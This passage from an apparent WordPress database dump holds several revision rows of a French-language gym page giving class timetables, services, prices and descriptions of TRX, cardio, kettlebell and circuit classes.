5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:35:03', '2013-07-03 17:35:03', '', 11, 'http://www.crosstrainingcenter.be/?p=188', 0, 'revision', '', 0),
(190, 1, '2013-07-03 17:38:41', '2013-07-03 17:38:41', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:38:41', '2013-07-03 17:38:41', '', 11, 'http://www.crosstrainingcenter.be/?p=190', 0, 'revision', '', 0);
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(191, 1, '2013-07-03 17:39:35', '2013-07-03 17:39:35', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 25%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 